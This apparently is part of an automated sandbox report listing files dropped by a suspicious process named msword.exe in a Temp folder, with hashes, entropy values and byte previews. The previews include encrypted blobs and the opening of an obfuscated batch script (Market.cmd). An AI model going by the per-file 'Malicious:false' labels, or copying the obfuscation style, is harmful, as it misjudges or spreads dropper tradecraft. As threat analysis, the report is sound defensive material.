                                Process:C:\Users\user\AppData\Local\Temp\msword\msword.exe
                                File Type:data
                                Category:dropped
                                Size (bytes):146432
                                Entropy (8bit):6.6465980351029454
                                Encrypted:false
                                SSDEEP:3072:DtNPnj0nEoXnmowS2u5hVOoQ7t8T6pUkBJR8CThpmESv+AqVno:BNPj0nEo3tb2j6AUkB0CThp6vmVno
                                MD5:39C723A69E6F51230D209B72F81ABE9B
                                SHA1:B0F058579D60E5A6C612F60732FDF3D7C8E86A9C
                                SHA-256:4A1B5FF59395FC0991987B588918649871A3106340A3D6F572C3FA232D59FBC9
                                SHA-512:04858B44C1DB4B307F0FB2C853FFB0C1149A23166C670AAA407D191AB47CE21702858D4B30AABDDEC253652868E19B1A01ACF1E2A5AB776581E191CA38F8806B
                                Malicious:false
                                Preview:.E................E...6........E............E............E...........jR.d...f;.r.j0..[j9Xf;.w..r..u........f;.s.j=.9j:.5j..1j9.-.E...T....Qj0..j*..j>...u.j...j..E.Y...!...j..E.Y...'..........G.........E..........E...4....E..03..v............U...............E..E..P.E.P.M.....YY........~..u..U...@.K..M.P.u..u.......T.U..M.;.r%;.v.;.v/.G.;.w(...}.;.v......;.w....F.;.r..u....Q.M.R.u..U..u..........E..e...;...@......+.@.E..E..@....8.E................U.G...;.v.}..E..M...........;..........}.......]....t1;.s.j.Xf.............B..u=3...@f...........B.(;.s.j.Xf....f.2..f.:..u.3.@f..j.X..f.2..........F..4F...f;.t........M...F..I...A.E...U..H...t4;H s#..+P.........;........E....;H r.U.3.f9C.......jwY..B...Bf9.t.;.r.;........M.....t.9X.t.....u..........M..].U..E.P.u....u..U......jw....g.....C...CXf9.t..T.....N......Q........E..$...E.3.f9D....,....).....F.f;.t.j.Yf;...j.Zf;.................F.j.Zf;.t...}........f.F......f#.....f;...f.F......f#......f;...............}...

                                C:\Users\user\AppData\Local\Temp\Lets

                                Download File
                                Process:C:\Users\user\AppData\Local\Temp\msword\msword.exe
                                File Type:data
                                Category:dropped
                                Size (bytes):70656
                                Entropy (8bit):7.997921805668066
                                Encrypted:true
                                SSDEEP:1536:4y+7CHT4k9YRtUo7NA2lVU2vBK8D3DhHMl+BAD1g:4iHTb9YRtU8RrU2vsgDtz61g
                                MD5:FA2010085679EEC632F3107657E30A81
                                SHA1:74611BE98EA26266232DD5A92F465D09273F76F6
                                SHA-256:B449025FE3C3A0598C9D9BCF2D8C631FBA1B3C4144237D78FE6ECDD1574E2211
                                SHA-512:5D2346B043F37469BE69690DA25B4257D8554A24B48214DC91E5957971184E56DB49AECD1CD2379D27BA0E31E1F31BEF07D974066AD5C92B95CAA16811126CA5
                                Malicious:false
                                Preview:.x*..GaQ.#....^.....Y.u..S.*.)}S._...=d-P\Z.ZN1\....3.eF.9.MV..H8#Y.}r...ruV....t...M?6.....m..M.#.W..2....R...~..OQ- ..X..b....O....1.f...N.o...lZ..AMD.i](./....f.J.|..Ay..}jK.vA...|.....'..9BQ...b?....Q...%b..$l.X....._..F.....dS.;.....1/....L.....h.6......D..-/.r^.,.....F...Hy&.T7O....V.<R....O..:..Q$.d._..N..@...QSw..V.....l...E.9..#.^.%.z.......p..k...Z...PF[..|....b.(y.ep..mAht&..E..P..aD.. ?x"f...?.W.Q...../.A.j.m@t#.]...V.#...Z.n.4...>.l.7.%..$!....m..{e.c.......8_5)..eJU.?......-.Z.]1.._...\%...I.N....L.h.S ....7(..}.t.c.o.......!.T=w...A)$..X.....0g.|.O;.....t..q.....ai5{..z.Om<g..g:..z.f..C..j^N.!d.V.u..s..Y....7.MA..|{...U{..v... j=.=.}2...g..TU.|..T..".....}.9...n..F.e.....:UU.......^..y.......R#Z0...33..IY'8u.rP.D|.N.nN....G~..........Ib.q.fN...J.j......:..V..}...'.y8y\.d.ZN...w`.o/.^..t@.A..|......".....7f..&..#....u.B...):.....X....A...YRF.l...6.v.jjJ.w,.o.}<.....M^.*.......|.........auRtO.I}...h9...W.....+a..R.!y...i...E.....

                                C:\Users\user\AppData\Local\Temp\MSId9b.LOG

                                Download File
                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                File Type:Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                Category:dropped
                                Size (bytes):246
                                Entropy (8bit):3.5193370621730837
                                Encrypted:false
                                SSDEEP:6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K82pClsulH:Qw946cPbiOxDlbYnuRK/pwH
                                MD5:BECC46D5749BED5E0987D11B6715382F
                                SHA1:F981C18B00D1ADEC8461E9888FC7DFBC8BC07CFF
                                SHA-256:6CBB7F387FA366BAA39242646A309996C7A6633D6ADDD810CF7F39BDE6A3FA86
                                SHA-512:A76982DFF70FDFEA94B2791F13CD2CA29B8D0481B51CF4286DB9F493D0579045AAE3A8BFB22B671B99AD6F48512A79485088886634DC1FFC94E34ECD6CABF38D
                                Malicious:false
                                Preview:..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .0.4./.0.1./.2.0.2.5. . .2.1.:.0.3.:.0.8. .=.=.=.....

                                C:\Users\user\AppData\Local\Temp\Market

                                Download File
                                Process:C:\Users\user\AppData\Local\Temp\msword\msword.exe
                                File Type:ASCII text, with very long lines (1646), with CRLF line terminators
                                Category:dropped
                                Size (bytes):30641
                                Entropy (8bit):5.0857625939320155
                                Encrypted:false
                                SSDEEP:768:C0aoVID9DnEq27yfqXDHAPrGDr/prbVgEXVjwAjk04pv:Uoe9jEq2yK7ASn/9bVHlav
                                MD5:971CB890AC9F35B6105DE0EB33095730
                                SHA1:D113B90F9219237A611A8EE03040682DDBD93CE1
                                SHA-256:CCF66550AC0BBD65AEFFEFFC0756F2E0669A88528F598350841CB68A6E48FBA4
                                SHA-512:8CFABA88E6B9D55676A454F290A1CBB112624F6986CA441F48AE93F9132810D03337F42371BA3D5116B92B8BD1A5D12047D0139A9EF1700D6126FEE8BC70829E
                                Malicious:false
                                Preview:Set Operational=g..VTTbCalif-Holdem-Okay-Agriculture-..xCmIBrown-..DVwkVulnerability-Minolta-Republic-Purple-Exec-..vePermission-Take-Attempts-Recent-Salon-Successfully-Batch-Polished-..nZZDip-Atomic-Atomic-Works-Win-..MoGovernments-Rehabilitation-Ipod-..fKLQConfidentiality-West-Sunglasses-..Set Lion=B..oHteBridges-Includes-Ol-Speaker-Beverly-..SVpBukkake-Plasma-Trace-Missed-..DzFTie-Seeds-Browsers-Man-Lack-Achieved-English-Advertising-..krJamaica-Satisfy-Build-Fourth-Barnes-Legs-Iran-Generation-..DZVNSubsidiaries-Pin-Children-Org-Component-Separately-Ann-..iJTm-Buried-Sol-Scripts-Founder-Rd-Promotes-Burlington-Momentum-..UPlArtificial-Through-Credit-..sQSamsung-Samples-..HSAla-Distinction-Remedies-Clip-Parallel-..zpxNamed-Funeral-Stack-Each-Save-Compensation-..Set Beads=d..UALanes-Coffee-Awareness-Claims-Subdivision-..zVChart-Ru-Myspace-Frequently-..ZGTExtra-Adaptive-..yVLevels-Directory-Appointments-Groundwater-Older-Use-Rear-Xnxx-..CIPour-Den-Till-Range-Rotary-Celebrities-..Set Egyp

                                C:\Users\user\AppData\Local\Temp\Market.cmd

                                Download File
                                Process:C:\Windows\SysWOW64\cmd.exe
                                File Type:ASCII text, with very long lines (1646), with CRLF line terminators
                                Category:dropped
                                Size (bytes):30641
                                Entropy (8bit):5.0857625939320155
                                Encrypted:false
                                SSDEEP:768:C0aoVID9DnEq27yfqXDHAPrGDr/prbVgEXVjwAjk04pv:Uoe9jEq2yK7ASn/9bVHlav
                                MD5:971CB890AC9F35B6105DE0EB33095730
                                SHA1:D113B90F9219237A611A8EE03040682DDBD93CE1
                                SHA-256:CCF66550AC0BBD65AEFFEFFC0756F2E0669A88528F598350841CB68A6E48FBA4
                                SHA-512:8CFABA88E6B9D55676A454F290A1CBB112624F6986CA441F48AE93F9132810D03337F42371BA3D5116B92B8BD1A5D12047D0139A9EF1700D6126FEE8BC70829E
                                Malicious:false
                                Preview:Set Operational=g..VTTbCalif-Holdem-Okay-Agriculture-..xCmIBrown-..DVwkVulnerability-Minolta-Republic-Purple-Exec-..vePermission-Take-Attempts-Recent-Salon-Successfully-Batch-Polished-..nZZDip-Atomic-Atomic-Works-Win-..MoGovernments-Rehabilitation-Ipod-..fKLQConfidentiality-West-Sunglasses-..Set Lion=B..oHteBridges-Includes-Ol-Speaker-Beverly-..SVpBukkake-Plasma-Trace-Missed-..DzFTie-Seeds-Browsers-Man-Lack-Achieved-English-Advertising-..krJamaica-Satisfy-Build-Fourth-Barnes-Legs-Iran-Generation-..DZVNSubsidiaries-Pin-Children-Org-Component-Separately-Ann-..iJTm-Buried-Sol-Scripts-Founder-Rd-Promotes-Burlington-Momentum-..UPlArtificial-Through-Credit-..sQSamsung-Samples-..HSAla-Distinction-Remedies-Clip-Parallel-..zpxNamed-Funeral-Stack-Each-Save-Compensation-..Set Beads=d..UALanes-Coffee-Awareness-Claims-Subdivision-..zVChart-Ru-Myspace-Frequently-..ZGTExtra-Adaptive-..yVLevels-Directory-Appointments-Groundwater-Older-Use-Rear-Xnxx-..CIPour-Den-Till-Range-Rotary-Celebrities-..Set Egyp

                                C:\Users\user\AppData\Local\Temp\Matter

                                Download File
                                Process:C:\Users\user\AppData\Local\Temp\msword\msword.exe
                                File Type:data
                                Category:dropped
                                Size (bytes):46380
                                Entropy (8bit):7.996032413296538
                                Encrypted:true
                                SSDEEP:768:uG8mNPfvXXy+dsh2M+5PmQ7RY4wl/lIZZ7MW7ZkmYGfKhn8jzchmbDQ:78mNPycMePvKV/qZZPiGKABbDQ
                                MD5:D4B3ADC8CBB57EAB0BF606DB6A43E118
                                SHA1:356174D53E6491026EB1AC8EBCEF4CF718BCE17B
                                SHA-256:85ACB62961BFFD09D7B492CE0F6D127E67A80E874BD66F3E50BB02B4BBBF6E16
                                SHA-512:EAD4144CE24F579C7F0E5055620257674D907F5BBD3A65868847421675985C7D81422D9076F2FBD901CEC6835C81035D464916D8E94A0CE3C9C8014C0C3DFD01
                                Malicious:false
                                Preview:.A...._.WLB....).=NW...i.NWmV.J.k..L.F8....h..G..4..:..av{=..M1......)GJ.q..........iT..\}.$..|..)...31....P<..L.....~.z.....s;.k...BJ..A.m.u....Ad.%.h..K..X...lsU...`....MqJ.;5.W{".VA.H;.s.6..ql.1]..i.KM..K.K..ZzZ.f...8.qQ?-.P..y..l....t..y..'...3.XkU.. ..zxEN.2;t..."....~.b.Qe]}jRMt9...|.a..A.2..cG.....m.H+.P'..O.".K.Kx)e..e..[...b.a...e....D[...Y...cXE.A..1j.\.....7..jj..........v.y.......#. ..p....[...A..=.t..J..!Q....e:..8o....'h*.....z1.........Vw./r8...h....L.-..C.!...."./.......`(m>.;..I..O(].R.8. M.f.|..t5.......)..`%/Bx...O...A...p......1..B....8.......H.(....?.T...k..V.Y?m.:#....M..<G,-.K.p./.{..z.-M..+@..c......j.>MALy.A.,..H.x...4]..M.=b.[N......E.........G7.H}.Es.G.......y....|(.%...b..+.x.Q...r0=R..9....#.......8-.f...3....,.....;U....3...,....a.0".U.C1.g0s|.>..@G.}.C%....~..+..j.)...nm.._..)N.D...........t^.9.kE6y...%..&.VC..}.xs.0...|.eh R.d9g.......T...dMn"..f!1q.wd.Ra%t..;I...\..e...4m...b..K.?3..05...e..-....X.$....

                                C:\Users\user\AppData\Local\Temp\Metallic

                                Download File
                                Process:C:\Users\user\AppData\Local\Temp\msword\msword.exe
                                File Type:data
                                Category:dropped
                                Size (bytes):151552
                                Entropy (8bit):5.35483837732914
                                Encrypted:false
                                SSDEEP:1536:iKaj6iTcPAsAhxjgarB/5el3EYrDWyu0uZo2+9BGmo:86whxjgarB/5elDWy4ZNoGmo
                                MD5:ACAC13DC82CE749F727F0C81BA5FDC73
                                SHA1:5350FE77594467906A5251B8C2248CD81D15D8E2
                                SHA-256:B6A35AC20BAED2784E793E577670B5AE1062890CB9BC4D931A9F0BC874B2A612
                                SHA-512:C86B8DD695DAE4626631AF41497C73250A73967E28A9F3472F2D344C4FF2F7FBAF9101FBD5EC45124537DF823951C5E09FE0696488AD599D6AFA77DDB918364F
                                Malicious:false
                                Preview:.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.!.!.!.!.!.!.!.r.r.r.r.r.r.r.r.r.r.r.r...........r.r.r.r.r.........................)...........................r...........r...r.....r.....r.........................................................................................................................................................................................................................*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r

                                C:\Users\user\AppData\Local\Temp\Peripheral

                                Download File
                                Process:C:\Users\user\AppData\Local\Temp\msword\msword.exe
                                File Type:data
                                Category:dropped
                                Size (bytes):72704
                                Entropy (8bit):7.99766272586728
                                Encrypted:true
                                SSDEEP:1536:rY1/zHVTJE2KI6zH3+Te0hDcnNsoExtf4Ahg/IdAGIrYJy6B8:rEbVTJxKlzH3we0aA74cIYJG
                                MD5:2C4CFD8A5B0E70B3B8E872FC1091C9CA
                                SHA1:2C6C8DC12CA41DA972D3B393129506C9B9CBA0CD
                                SHA-256:E7051EC0A2700737D0C85441EF433D0041451623346D2933F4AD602C88C83BDE
                                SHA-512:19E74E8777D5FB850CECF1E95219F7EBC8648C29A24647B72CE94A5E1286CA3FCFFA9FD8AD19F689B1A3466A109DAFBA2D10DBC85FDC1610FC0716CE4018174E
                                Malicious:false
                                Preview:.....,`.L..`.$.\F.|.9$......|.?.'UB..Z.p.......7.7.k.).1.S.Mu..#...; ejR.z...Y.}.H..NuT..N...L.!.u.$.`fW..M.L$d`..'.%......6..1.<.Q.]..Q.2..??bH........D..T..|~."W..1.+ck.5h....a...[.?~...6..%.$$d*Q.\..j.ho+.........7......e....p..\Mh"...#{u..F..*.?.....]#.s?....[.A..~^....|^+......]..b.........+](..%...`....j-....&y.Zm.j[...`=S..K..Wg@ebB.7Fb.K...\I/...Y.....@.8E.e...'8.}v.7..z..S.#@...`D..mh6i..L...$..9...Ay.N.'YR.r#......."Q..3...x_..r......\.....;......`...$\BH.....>l"gg..Q.e........S.Y.[e"... .{.}..M6..V.(v.....>.<AY.Ih......$...(0...J.Q.L.IT.:3<S...y.M.$..,.#..IX."....K...yE./>.6.......M[.I3.3|r.7.v...R.&.GR ...?..%.mn....R.......~.....v.... `N...DB....... ..u..::P....R...8..I....."....f1.......@bk....[.D"..;*..i.......a...3......k4~........o..3...D..,...O.>.p..n.!.~'?In.J.3.cdQ.......cD...B&.....x......6...@...^u$.3....~z...Z..`.B...f..K....d.aYy...d...M..P..(.W6...,Z2.:.)....l.E'..D......C.8.S...E.j...N3.j..|...a..z...bJ..@

                                C:\Users\user\AppData\Local\Temp\Phentermine

                                Download File
                                Process:C:\Users\user\AppData\Local\Temp\msword\msword.exe
                                File Type:data
                                Category:dropped
                                Size (bytes):68608
                                Entropy (8bit):7.997800401356153
                                Encrypted:true
                                SSDEEP:1536:elqGCsW9l+3prMB5cOkKl+9yib0wRGnqJpxQbEvleUtqrc3HxO:eHCsW9KlMCsBib0wRzybHURO
                                MD5:49EFDFC03CCDA219825C385B3B35FB43
                                SHA1:CB1B3E7C95E0C457DE0A8879073301B44A12FA3A
                                SHA-256:F98C5BCC2A2A7ABDC448A2C048326AED45A9A914A2AB3EA4D1BA4ADA7D810144
                                SHA-512:560FE3EE3F80850EB5D6813327D165AF384B31691D35694C4E4385F5B0BB895747042D97D4F63C9FA611ACA0A642924CF9DEAD30EC035EEE62A87FDDBCD1B8F4
                                Malicious:false
                                Preview:....a.W....>.2<1?..i..5.wapA...K1.x^[.$F.._..+ZlT.yk..8/..f:...\P```.......I@pXOx)].........0.....!.....R;N).M.i.:....]...QbAQ..;..X..k..fj..Fh....3[.....D..!..nt..s..v...M|~..(..Y-O.[91....G.ne.e.#9.X...0.......h>.6....y..M{&..`.{ ..B.DR7h.9.......K<".9..X.Jb0w.-..@.|....7e.+.Y^w.3....)-........VmM....<MR.V..Hc..<.e7..G.R.mG......../..d.|R#.>87$....S..R.~.2..j,..b.....r......e(..7"..3.R....h...J...J9.l.......27V.E.0rg.)%.t..T(....k.\.....x......Zw.".?.]?._.Y..z.IG.".b.w.4.GX.w..n..9}.=.......-..@.Q.Z...-........f/.5..(....D.....j..i%;.v.k}.J8.l...>.dl.|..cE..8@=....\..4...*.'..}...M...Ze..%.<%lk.....O..!?.l..,.t..Z.a.....6..S6kD.%...e............U...Z..8..cG-Q.=.AQF..F.s....B..=x:.s&.*.A8CC....^...3/n..R..YO ...^.l...=.~.d.a.1..7....'.:$..H:1..3Z=..4MH.LR&+}M..........V[....!.....v.v..{.9.%....>Hu...P..Av.$l.7........1;...~...BN..!.1.*.........JI#...l=.......Q.).`...e..J.q...=..E..7'!...b..~L.`.:.Y..........|.......c.?..s&....e.<.......

                                C:\Users\user\AppData\Local\Temp\Presidential

                                Download File
                                Process:C:\Users\user\AppData\Local\Temp\msword\msword.exe
                                File Type:data
                                Category:dropped
                                Size (bytes):37009
                                Entropy (8bit):7.161342216267482
                                Encrypted:false
                                SSDEEP:768:E9OTGQ1Dv7sMvLHfR/ZByLiFuO/ChgZ45VatJVEV3GPkjF:EATGODv7xvTphAiPChgZ2kOE6
                                MD5:54C230191C78CF10807F0D4EAA561CBF
                                SHA1:70A2B2019668F5BB8C3D58C64EEB34C9907B55E6
                                SHA-256:A656398863A57CA942F748B9A697DE3217C0E1843679D1E8D6C8AC98F8C1E02A
                                SHA-512:3F195D1212295BE976285DF384612F26E174E1F2DE679B209EF8861999E430DE13EA6E3DEC8747F4DDF227F44DFEB2A6112D137CB208572C5EF9B4F2D42502DF
                                Malicious:false
                                Preview:3.3.3.3.3.3.3.3.3.3.3.3.3.3.4.4.4 4$4*4.444>4H4R4]4e4i4o4s4y4.4.4.4.4.4.4.4.4.4.4.4.4.4.4.4.4.4.5.5.5!5,54585>5B5H5R5\5f5q5y5}5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.6.6.6.6.6!6+656@6H6L6R6V6\6f6p6z6.6.6.6.6.6.6.6.6.6.6.6.6.6.6.6.6.6.7.7.7.7!7%7+757?7I7T7\7`7f7j7p7z7.7.7.7.7.7.7.7.7.7.7.7.7.7.7.7.7.7.8.8.8#8+8/85898?8I8S8]8h8p8t8z8~8.8.8.8.8.8.8.8.8.8.8.8.8.8.8.8.8.9.9.9.9"9,979?9C9I9M9S9]9g9q9|9.9.9.9.9.9.9.9.9.9.9.9.9.9.9.9.9.9.:.:.:.:.:":,:6:@:K:S:W:]:a:g:q:{:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.;.;.;";&;,;0;6;@;J;T;_;g;k;q;u;{;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.<.<.<#<.<6<:<@<D<J<T<^<h<s<{<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.=.=.=.=.=#=-=7=B=J=N=T=X=^=h=r=|=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.>.>.>.>#>'>->7>A>K>V>^>b>h>l>r>|>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.?.?.?%?-?1?7?;?A?K?U?_?j?r?v?|?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?...@..8....0.0.0.0.0$0.090A0E0K0O0U0_0i0s0~0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.1.1.1.1.1$1.181B1M1U1Y1_1c1i1s1}1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.2.2.2$2(2.22282B2L2V2a2i2m

                                C:\Users\user\AppData\Local\Temp\Query

                                Download File
                                Process:C:\Users\user\AppData\Local\Temp\msword\msword.exe
                                File Type:data
                                Category:dropped
                                Size (bytes):77824
                                Entropy (8bit):6.68140784602293
                                Encrypted:false
                                SSDEEP:1536:9U0pkzUWBh2zGc/xv5mjKu2IwNnPEBiqXv+G/UXT6TvY464qvI93s:9UDQWf05mjccBiqXvpgF4qv+3s
                                MD5:E5F5603745AC7E491627F61F770384E1
                                SHA1:71B49644F3C8659C075CFA4CFDDBA22588131FB1
                                SHA-256:9706522D1D008FE36CC3D7BB32A3C33B18530BA86A7E5E557B0D95ECE20BE281
                                SHA-512:6D84B641C97BF6DD3C075EB59803D97483E3167D1D72871BE14B1F9519751D6A74AC973BF9E50D5A3D5A7B954DC939A8063DD91EA1123581170053C48D9C5237
                                Malicious:false
                                Preview:.3.M.............e...........Y...3.P.u(..`....u P..H...P..d...P......P.E$..U.PS.u.E.Q.u..M.P......4...._....M(......]..IX;........E......;............;.........`....u.j)Zf9........},........U..U.........B....M...|....M..M..M..M..M.M.3..\........;..d.....O....}.........................H....]...D...3..u..u(.M.P.u..v@S....3.....9...v.......w....M...u..G....w.....M.E..E..E..M..M...|....E...........................j.X;.......j.X;........M.....3...j.X;...(...;... .....j.X;...&...j.Y.G.;.K ..+K.....#U..}...U.M..."....U.j.^f.:..U......j]Xf9F........ ....M..M....|....M..M..M.;...%.......E...l....E.;...(....U......],.......t.....+.G.;.......j.Y.G...U....jxXf....f....f.....@...U....SV.u......W.}...U.M.;........E.3.M.........%.....E........u.;.w/.}...+.A..M.............:...F..:;.v.u..}..E.......w......;........E._^[..U..V.u.W..t...9N....I.Bf;.t......H_^].3...U.......SVW....1L...3.}.B..A.......;.......jw[..>..j.Y..}........u...........f;.......@f;............f;........

                                C:\Users\user\AppData\Local\Temp\Syndicate

                                Download File
                                Process:C:\Users\user\AppData\Local\Temp\msword\msword.exe
                                File Type:data
                                Category:dropped
                                Size (bytes):89088
                                Entropy (8bit):7.998187805046269
                                Encrypted:true
                                SSDEEP:1536:KSaJEMoNVX8cEynrHSHmrTLT8SJj9PEv/61VZApRnWEmx/4gzVja:4vozi0rZ3Jp8nWkRnTy/Ra
                                MD5:5EBB42ADED1C56715BA1EC98BC2638F1
                                SHA1:9B3AD86BE972BC59ECF45C249FD38A4DFD762FFF
                                SHA-256:D302B56F0FABFB24855D94C90BBDD829837B8FA85B1C6777CF2E20B5526BB602
                                SHA-512:256645AC47FE31AA2147906BC5A53BA328F288E20D44ADCD0ADFF9E386DDDF63A8C9A161D675F35E56443985A6D811F0FED2F48C526A17C0923B6653D4EE2CA5
                                Malicious:false
                                Preview:....R...e.".>..?.%R;<..2.....E....*.6.P.?...<{......p..B....K..$...T....83H...JD.....CX...[Z.m.h/.]...+e.&..h.....y..............4x.)...{..E"........6..s>#{.%C..t.E.C...{6..........G.x.|..........>w..9.9......F..K9..?..w...'Npv....x?u.\\...O.=.....1.y..*....^......b].(....5.sk..G..B%..s.6...P...U...K.D.{.Fp.?9.fl_.{.`...'.......PN.#.....5...D......u....?.m..\..G...HM7u.....K}...;.M.]..E.`..!X.i....j..s_nX.W....^..*.6.K;...BZ...2..)I}.?...0..h..).0.s..%Tr...~...kC.JZ.n:...c..X..yUAB.Xj..N..|......l8.V(0e..Ml.iG...7...m.6..kX..kZ....y/<..^..1.F...t.....U0...,.1.p...1../.Z...A.>.....F..Ow.^.. .0...V.m.........Nl...xy.V.................ic.+...k..^......C.y...I..hg...a..y8B*.........O...b.1...C}...M.VT. .....@.l,...H.7..y....1.......\T..81%..9.s/..M..F.I.c,. .\.,M@=.tb.wy..O...O..g.,*.9.I......R~...$.....(f....7..~T../l..y........,S.MmbT.<.$J.k...`.........'..oV.4.)KW.-.3q...ypE]....<..'..A......b4..IUH4`.N.......Rz..^...S..t.m.i....7./.ze

                                C:\Users\user\AppData\Local\Temp\Usgs

                                Download File
                                Process:C:\Users\user\AppData\Local\Temp\msword\msword.exe
                                File Type:data
                                Category:dropped
                                Size (bytes):75776
                                Entropy (8bit):7.997337841606491
                                Encrypted:true
                                SSDEEP:1536:YFpYViuJWu7d6d6xm/8PleBlivu2/a3gvGUttQue1:YDYsuvS8PBvu2bu791
                                MD5:86BDDDBF60A6B1CE21D695171B5B50A7
                                SHA1:3EDCC074129F105DB4EAD779D08BE20D6812EE15
                                SHA-256:A3A5647BB284F7F395407A00D9EFAEACF0D54C8E79FBA8BC28FE826183F24EAA
                                SHA-512:26657048694FB307E80BBE91964BF4DFEBAFD0729669CD9F2290C7E139EC1CE21C3410CEBA3B7C2F0CE3A4DBF57BFB62248670DC9CB9CCCE3BAF1096E484C27D
                                Malicious:false
                                Preview:A...../"..}....X...2u.).)...8.n.O..+......JG....z..U..y....g...(...NJ...+j..y...g.ar.R..~........!5..^ .<......(...K...@..5..#..w.@,9..d.1.\^...E...^...g.zxTbi.i-y...{;a..3.e...N]a`}..q.Q.....Mt...Y.Tz...;...?v......C.k..*fZg.\...4I....>i..`:..Q&....1.g..c........M..'....'.O....F ..W..J.....2.U.x..Z}.o..*...9.x........6..Q...M|*F=..@...pV...F.HwE.?.&...`b.j...c.8|.l..Kp.%)].F...-...q......z.=...A&..s..7..F..2..R.........-..#N..q..M...(I...H...r@.-P...0.&...[.$.v......|..6....xFp..gR..u|....L.l..II.H.g.^+K.v.....9..x...P&(n.l.W.[.J.LoE'.*. ....T._...|W.g..$.q)..e.q..=.<..J6....,A&..=.J.9S...,8+e-zL...../qM.2G...)....4. ...e...v...mu,#.>..._.%m.....0.......z..*Yf;n.H.3...'.....~H.x..0...u...V..).L..o..x.q(..!F.J.).Ht.q..o.!..>A..NR..M.b.u.7......Q4.3..p...kR&t......Gp..C.. .6...'4B...;7......Kh1S...m.t..mfR.+.....sB#Z.....>z.'......|.@yg.....pa.3.s....=....f.....Uq...V..,:Z(.GJ6.-d..n.....CF}i.?...........M.I ....d..U..-.R..9.#H......>.M.SL.

                                C:\Users\user\AppData\Local\Temp\Veterans

                                Download File
                                Process:C:\Users\user\AppData\Local\Temp\msword\msword.exe
                                File Type:data
                                Category:dropped
                                Size (bytes):130048
                                Entropy (8bit):6.658223104333049
                                Encrypted:false
                                SSDEEP:3072:Z0Imbi80PtCZEMnVIPPBxT/sZydTmRxlHS3NxrHSBZ:QbfSCOMVIPPL/sZ7HS3zk
                                MD5:5CD6AF8D1D071C54D081DF22F7D057AB
                                SHA1:330782E2FCEB552E894643FDC40AFFADD187044E
                                SHA-256:BCFBF03BFE8181B81F3A1FF2D3774233CE013596FB3F4F535819FC422B696CEE
                                SHA-512:4F6CB5F41F5D338B998A075C532EB500806463C14FB9AB0B3945CA5AA24CC2DDD12F3D0E02D91FEF513AA3602A9E29CF69ABBE12181BA625DFC7F0E325F3D6F7
                                Malicious:false
                                Preview:......L...A;.v.....8.u.F.........@...u..v...............^....~.3..~........9=."M.t.V................h.....F.WP.qV.....kE.0.E.....L..E.8...t5.A...t+..............s.....L..D..B..A.;.v....9.u.E.G....E...r.S.^..F....................E..N.j.....L._f...R.f...I....u.V.....Y3._.M.^3.[..=....].....I..."M.....I..."M.....U..U.W3.f9:t!V..q.f.....f;.u.+.....J...f9:u.^.B._]..U..QSVW....I...3...tVV....YWWW..W+...SVWW....I..E...t4P..j....Y..t.3.PP.u.WSVPP....I...t...3...3.W.[..Y.....t.V....I._^..[..]..VW....I.....u.3..7SV.+...+......S.i....YY..t.SVW.?.....j..6[..YV....I.[.._^..U....S.]...u..$$............|VWj=S...S...E.YY..tN;.tJ.x...5..M.....E.;5..M.u.V........E.Y.5..M.3........9].t/9...M.t'..N....un.#...........W.Z..Y_..^[..]..t.3...j.j...}..S...M..kZ...5..M......t.9...M.u%j.j...}..S...M..BZ.....9...M.t..5..M...t..E..+.PQ......E.YY..xH9.tD.4...Z..Y.M.8].u..E.........D.....A9..u.j.QV.HX..S....Y........tX.P8].........E..H.;............?......j.QV..X..S...Y..............M..

                                C:\Users\user\AppData\Local\Temp\Viewed

                                Download File
                                Process:C:\Users\user\AppData\Local\Temp\msword\msword.exe
                                File Type:data
                                Category:dropped
                                Size (bytes):55296
                                Entropy (8bit):7.996808997159829
                                Encrypted:true
                                SSDEEP:1536:v8HYZV3DRdZOzj3zNzH65bsZj94bitw+XZ/VCuc:3SzFbaoH1/VCd
                                MD5:01E51A0D2AC4E232BB483444EC14F156
                                SHA1:8DB19310817378BCF4F59F7E6E8AC65E3BAD8E2F
                                SHA-256:27D2E36B97DBA2657D797098D919F7C76893713537FF4ABA5F38CB48BC542EF9
                                SHA-512:C982A98AE76F1DC6459F868C9F7B79D9CD3372C2045FD10FA1A876EC03367F77E4BE9CCD27BBEAEB58E8C3C06E838A7DE44057069F8CF1E7925CEA14397E0962
                                Malicious:false
